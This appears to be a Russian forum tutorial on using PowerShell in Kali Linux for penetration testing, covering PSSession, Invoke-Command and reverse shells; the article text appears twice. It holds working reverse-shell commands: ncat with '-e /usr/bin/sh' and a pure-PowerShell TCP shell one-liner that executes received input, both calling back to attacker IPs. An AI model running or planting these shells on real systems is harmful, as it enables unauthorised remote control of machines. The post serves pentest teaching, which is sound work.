H
Hackers Academy
Original poster
PowerShell для пентестов в Kali Linux
За последние несколько лет PowerShell превратился в мощный скриптовой язык для автоматизации задач, связанных с системным администрированием, и создания разнообразных сценариев под ОС Windows. Более того, Microsoft сделала доступным PowerShell для других платформ на базе .NET Core, а недавно компания Offensive Security добавила PowerShell в Kali Linux.
С появлением PowerShell в Линуксе добавились новые возможности, включая:
Примечание: приведенные техники были протестированы в Windows 10 x64 Pro, version 2004 и Ubuntu 20.04 LTS.
Получение PSSession в Windows
Для взаимодействия с PSSession на целевой машине с Windows должна быть активирована функция PSremoting и должна быть в наличии учетная запись для доступа к системе. После активации PSRemoting при подключении по умолчанию используется HTTP-порт 5985. SSL по умолчанию не активирован поскольку протокол WS-Management шифрует все содержимое, передаваемое по сети в нашей сессии PSSession. В нашем случае мы будем придерживаться стандартных параметров.
В рабочей системе с Kali Linux помимо пакета Powershell должен быть установлен еще один пакет. Кроме того, нужно внести некоторые изменения в конфигурацию, чтобы мы смогли получить PSSession. Необходимо установить пакет gss-ntlmssp и создать две символические ссылки в директории PowerShell, чтобы модуль WSman работал корректно. На момент написания статьи команда разработчиков PowerShell еще не устранила этот недочет. Надеемся, необходимые изменения появятся в одном из следующих релизов.
В нашем случае PowerShell располагается в следующей папке:
/opt/Microsoft/powershell/7
Заходим в директорию, указанную выше, и добавляем две символические ссылки:
ln -s /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2 libssl.so.1.0.0
ln -s /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.2 libcrypto.so.1.0.0
Теперь переходим к созданию первой сессии PSSession. В рабочей системе с Kali Linux в терминале PowerShell вводим следующую команду:
$offsecsession = New-PSSession -ComputerName <Target IP Address> -Authentication Negotiate -Credential <username>
При помощи соответствующей учетной записи у нас должно получиться взаимодействие с целевой системой в рамках PSSession. Как показано на скриншоте ниже, сессия PSSession к целевой системе создана успешно.
Рисунок 1: Пример успешного создания PSSession к целевой системе
Если мы решим выйти из сеанса PSSession, то можем продолжить взаимодействие с удаленным хостом при помощи командлета «Invoke-Command» для выполнения любых команд или скриптов в нашей сессии. Кроме того, мы можем использовать тот же командлет для запуска одиночной команды на множестве компьютеров при наличии доступа к этим системам. В целях демонстрации создадим скрипт для запуска команды hostname в целевой системе:
Invoke-Command -Session $offsecsession -ScriptBlock {hostname}
Рисунок 2: Результат выполнения команды hostname
Как видно на рисунке выше, у нас получилось выполнить команды в фоновом режиме нашей сессии PSSession. Параметр ScriptBlock позволяет выполнять команды в удаленной системе. Если мы хотим выполнить несколько команд внутри блока, нужно добавить разделитель «;» после каждой команды. Пример:
Invoke-Command -Session $offsecsession -ScriptBlock {hostname; whoami; whoami /priv}
Рисунок 3: Пример запуска нескольких команд внутри одного блока
Рисунок 4: Результат выполнения нескольких команд внутри одного блока
В этом случае мы смогли получить имя хоста, текущего пользователя, от имени которого создана сессия, и привилегии этого пользователя.
Теперь рассмотрим, как получить PSSession в Линуксе.
Получение PSSession в Линуксе
PSSession не ограничивается только системами на базе Windows. Возможность запуска Powershell в Линуксе позволяет нам начать сессию PSSession к целевой линуксовой системе. Однако единственный способ получить PSSession - если в целевой системе запущен ssh, и в файле sshd_config активированы следующие опции:
Subsystem powershell /snap/bin/pwsh --sshs -NoLogo -NoProfile
Рисунок 5: Добавление в файл sshd_config нужных параметров
После сохранения изменений в файле sshd_config и перезапуска службы ssh, мы должны получить PSSession к целевой системе:
Рисунок 6: Пример получения сессии PSSession к целевой линуксовой системе
Вместо обычного Bash-шелла, мы получили шелл внутри PowerShell. Мы также можем воспользоваться командлетом «Invoke-Command» для запуска Bash-команд или PowerShell-команд в рамках сессии PSSession.
Рисунок 7: Пример запуска команд внутри созданной сессии
Не забывайте, что есть определенные командлеты, которые не будут работать в PowerShell для Линукса, поскольку не поддерживаются для этой платформы. Однако со временем по мере выпуска новых обновлений ситуация может измениться.
Переходим к получению реверсивного шелла в целевой линуксовой системе при помощи PowerShell.
Получение реверсивного шелла из PowerShell в Линуксе
Мы можем столкнуться с ситуациями, когда есть ограничения на запуск кода в целевой линуксовой системе, и в этих случаях PowerShell может оказаться очень кстати. Как и в случае с meterpreter мы можем использовать PowerShell для запуска бинарных файлов в целевой системе, передачи файлов, запись в файлы и чтение файлов. В этом разделе будет продемонстрировано, как получить реверсивный шелл при помощи ncat.
В PowerShell есть командлет Start-Process, позволяющий инициировать процессы в целевой системе. Рассмотрим следующий пример:
Start-Process /usr/bin/ncat -NoNewWindow -Argumentlist '192.168.117.129 443 -e /usr/bin/sh'
Рисунок 8: Пример команды для организации реверсивного шелла
В команде, приведенной выше, мы используем командлет Start-Process для запуска ncat и выполнения командной оболочки sh с целью обратного вызова к нашей рабочей системе с Kali. После выполнения этой команды нужно убедиться, что появился слушатель, запущенный в нашей рабочей системе:
Рисунок 9: Проверка присутствия слушателя на порту 443
Мы также можем выполнить команду PowerShell напрямую в командной оболочке Bash при помощи pwsh и передачи вышеуказанной команды через флаг –Command:
pwsh -Command "Start-Process /usr/bin/ncat -NoNewWindow -Argumentlist '192.16.117.129 443 -e /usr/bin/sh'"
Рисунок 10: Запуск команды из рабочей системы
Командлет –Command позволил нам выполнить команду "Start-Process /usr/bin/ncat -NoNewWindow -Argumentlist '192.16.117.129 443 -e /usr/bin/sh'" из командной оболочки Bash, и мы успешно организовали реверсивный шелл.
Рисунок 11: Проверка наличия реверсивного шелла
Еще один способ получения реверсивного шелла
В предыдущем примере мы использовали ncat и флаг –e для запуска командной оболочки /usr/bin/sh и отправки реверсивного шелла обратно в нашу рабочую систему. Однако получить обратный шелл мы также можем средствами чистого PowerShell без необходимости запуска отдельного бинарного файла.
Ниже приведен скрипт для решения этой задачи:
$callback = New - Object System.Net.Sockets.TCPClient("IP ADDRESS", PORT);
$stream = $callback.GetStream();
[byte[]]$bytes = 0..65535|% {
0
};
while (($i = $stream.Read($bytes, 0, $bytes.Length)) - ne 0) {;
$data = (New - Object - TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2 > &1 | Out - String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length);
$stream.Flush()
};
$callback.Close()
Можно превратить этот скрипт в однострочный и сохранить в текстовом файле (например, posh.ps1):
$callback = New-Object System.Net.Sockets.TCPClient("192.168.117.134",443);$stream = $callback.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()
Как только мы поместили и запустили файл в целевой системе, то должны получить реверсивный шелл:
Рисунок 12: Реверсивный шелл, полученный средствами PowerShell
При помощи этого шелла мы можем запускать команды как через Bash, так и через PowerShell в целевой системе.
Рисунок 13: Пример выполнения команд в реверсивном шеллеЗаключение
PowerShell становится все более мощным инструментом в арсенале пентестера. Приведенные примеры – лишь небольшая часть возможностей, которые доступны в Линуксе.
С точки зрения пентестера мы использовали PowerShell для более разнообразных тактик, реализуемых после эксплуатации уязвимостей. Системные администраторы и специалисты, отвечающие за безопасность корпоративных сетей, могут использовать PowerShell для получения информации о скомпрометированных системах.
Надеемся, вам понравилась эта статься, и теперь вы сможете использовать PowerShell в Линуксе для написания скриптов и решения своих собственных задач.
За последние несколько лет PowerShell превратился в мощный скриптовой язык для автоматизации задач, связанных с системным администрированием, и создания разнообразных сценариев под ОС Windows. Более того, Microsoft сделала доступным PowerShell для других платформ на базе .NET Core, а недавно компания Offensive Security добавила PowerShell в Kali Linux.
С появлением PowerShell в Линуксе добавились новые возможности, включая:
- Написание и отладку скриптов на PowerShell.
- Подключение к целевым системам, работающим под управлением ОС Windows.
- Передачу файлов.
- Поддерживаются не все командлеты.
- Нельзя использовать sudo или exec напрямую в PowerShell.
- Отсутствует поддержка WMI / CIM.
Примечание: приведенные техники были протестированы в Windows 10 x64 Pro, version 2004 и Ubuntu 20.04 LTS.
Получение PSSession в Windows
Для взаимодействия с PSSession на целевой машине с Windows должна быть активирована функция PSremoting и должна быть в наличии учетная запись для доступа к системе. После активации PSRemoting при подключении по умолчанию используется HTTP-порт 5985. SSL по умолчанию не активирован поскольку протокол WS-Management шифрует все содержимое, передаваемое по сети в нашей сессии PSSession. В нашем случае мы будем придерживаться стандартных параметров.
В рабочей системе с Kali Linux помимо пакета Powershell должен быть установлен еще один пакет. Кроме того, нужно внести некоторые изменения в конфигурацию, чтобы мы смогли получить PSSession. Необходимо установить пакет gss-ntlmssp и создать две символические ссылки в директории PowerShell, чтобы модуль WSman работал корректно. На момент написания статьи команда разработчиков PowerShell еще не устранила этот недочет. Надеемся, необходимые изменения появятся в одном из следующих релизов.
В нашем случае PowerShell располагается в следующей папке:
/opt/Microsoft/powershell/7
Заходим в директорию, указанную выше, и добавляем две символические ссылки:
ln -s /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2 libssl.so.1.0.0
ln -s /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.2 libcrypto.so.1.0.0
Теперь переходим к созданию первой сессии PSSession. В рабочей системе с Kali Linux в терминале PowerShell вводим следующую команду:
$offsecsession = New-PSSession -ComputerName <Target IP Address> -Authentication Negotiate -Credential <username>
При помощи соответствующей учетной записи у нас должно получиться взаимодействие с целевой системой в рамках PSSession. Как показано на скриншоте ниже, сессия PSSession к целевой системе создана успешно.

Рисунок 1: Пример успешного создания PSSession к целевой системе
Если мы решим выйти из сеанса PSSession, то можем продолжить взаимодействие с удаленным хостом при помощи командлета «Invoke-Command» для выполнения любых команд или скриптов в нашей сессии. Кроме того, мы можем использовать тот же командлет для запуска одиночной команды на множестве компьютеров при наличии доступа к этим системам. В целях демонстрации создадим скрипт для запуска команды hostname в целевой системе:
Invoke-Command -Session $offsecsession -ScriptBlock {hostname}

Рисунок 2: Результат выполнения команды hostname
Как видно на рисунке выше, у нас получилось выполнить команды в фоновом режиме нашей сессии PSSession. Параметр ScriptBlock позволяет выполнять команды в удаленной системе. Если мы хотим выполнить несколько команд внутри блока, нужно добавить разделитель «;» после каждой команды. Пример:
Invoke-Command -Session $offsecsession -ScriptBlock {hostname; whoami; whoami /priv}

Рисунок 3: Пример запуска нескольких команд внутри одного блока

Рисунок 4: Результат выполнения нескольких команд внутри одного блока
В этом случае мы смогли получить имя хоста, текущего пользователя, от имени которого создана сессия, и привилегии этого пользователя.
Теперь рассмотрим, как получить PSSession в Линуксе.
Получение PSSession в Линуксе
PSSession не ограничивается только системами на базе Windows. Возможность запуска Powershell в Линуксе позволяет нам начать сессию PSSession к целевой линуксовой системе. Однако единственный способ получить PSSession - если в целевой системе запущен ssh, и в файле sshd_config активированы следующие опции:
- PasswordAuthentication yes
- Optional: PubkeyAuthentication yes
Subsystem powershell /snap/bin/pwsh --sshs -NoLogo -NoProfile

Рисунок 5: Добавление в файл sshd_config нужных параметров
После сохранения изменений в файле sshd_config и перезапуска службы ssh, мы должны получить PSSession к целевой системе:

Рисунок 6: Пример получения сессии PSSession к целевой линуксовой системе
Вместо обычного Bash-шелла, мы получили шелл внутри PowerShell. Мы также можем воспользоваться командлетом «Invoke-Command» для запуска Bash-команд или PowerShell-команд в рамках сессии PSSession.

Рисунок 7: Пример запуска команд внутри созданной сессии
Не забывайте, что есть определенные командлеты, которые не будут работать в PowerShell для Линукса, поскольку не поддерживаются для этой платформы. Однако со временем по мере выпуска новых обновлений ситуация может измениться.
Переходим к получению реверсивного шелла в целевой линуксовой системе при помощи PowerShell.
Получение реверсивного шелла из PowerShell в Линуксе
Мы можем столкнуться с ситуациями, когда есть ограничения на запуск кода в целевой линуксовой системе, и в этих случаях PowerShell может оказаться очень кстати. Как и в случае с meterpreter мы можем использовать PowerShell для запуска бинарных файлов в целевой системе, передачи файлов, запись в файлы и чтение файлов. В этом разделе будет продемонстрировано, как получить реверсивный шелл при помощи ncat.
В PowerShell есть командлет Start-Process, позволяющий инициировать процессы в целевой системе. Рассмотрим следующий пример:
Start-Process /usr/bin/ncat -NoNewWindow -Argumentlist '192.168.117.129 443 -e /usr/bin/sh'

Рисунок 8: Пример команды для организации реверсивного шелла
В команде, приведенной выше, мы используем командлет Start-Process для запуска ncat и выполнения командной оболочки sh с целью обратного вызова к нашей рабочей системе с Kali. После выполнения этой команды нужно убедиться, что появился слушатель, запущенный в нашей рабочей системе:

Рисунок 9: Проверка присутствия слушателя на порту 443
Мы также можем выполнить команду PowerShell напрямую в командной оболочке Bash при помощи pwsh и передачи вышеуказанной команды через флаг –Command:
pwsh -Command "Start-Process /usr/bin/ncat -NoNewWindow -Argumentlist '192.16.117.129 443 -e /usr/bin/sh'"

Рисунок 10: Запуск команды из рабочей системы
Командлет –Command позволил нам выполнить команду "Start-Process /usr/bin/ncat -NoNewWindow -Argumentlist '192.16.117.129 443 -e /usr/bin/sh'" из командной оболочки Bash, и мы успешно организовали реверсивный шелл.

Рисунок 11: Проверка наличия реверсивного шелла
Еще один способ получения реверсивного шелла
В предыдущем примере мы использовали ncat и флаг –e для запуска командной оболочки /usr/bin/sh и отправки реверсивного шелла обратно в нашу рабочую систему. Однако получить обратный шелл мы также можем средствами чистого PowerShell без необходимости запуска отдельного бинарного файла.
Ниже приведен скрипт для решения этой задачи:
$callback = New - Object System.Net.Sockets.TCPClient("IP ADDRESS", PORT);
$stream = $callback.GetStream();
[byte[]]$bytes = 0..65535|% {
0
};
while (($i = $stream.Read($bytes, 0, $bytes.Length)) - ne 0) {;
$data = (New - Object - TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2 > &1 | Out - String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length);
$stream.Flush()
};
$callback.Close()
Можно превратить этот скрипт в однострочный и сохранить в текстовом файле (например, posh.ps1):
$callback = New-Object System.Net.Sockets.TCPClient("192.168.117.134",443);$stream = $callback.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()
Как только мы поместили и запустили файл в целевой системе, то должны получить реверсивный шелл:

Рисунок 12: Реверсивный шелл, полученный средствами PowerShell
При помощи этого шелла мы можем запускать команды как через Bash, так и через PowerShell в целевой системе.

Рисунок 13: Пример выполнения команд в реверсивном шеллеЗаключение
PowerShell становится все более мощным инструментом в арсенале пентестера. Приведенные примеры – лишь небольшая часть возможностей, которые доступны в Линуксе.
С точки зрения пентестера мы использовали PowerShell для более разнообразных тактик, реализуемых после эксплуатации уязвимостей. Системные администраторы и специалисты, отвечающие за безопасность корпоративных сетей, могут использовать PowerShell для получения информации о скомпрометированных системах.
Надеемся, вам понравилась эта статься, и теперь вы сможете использовать PowerShell в Линуксе для написания скриптов и решения своих собственных задач.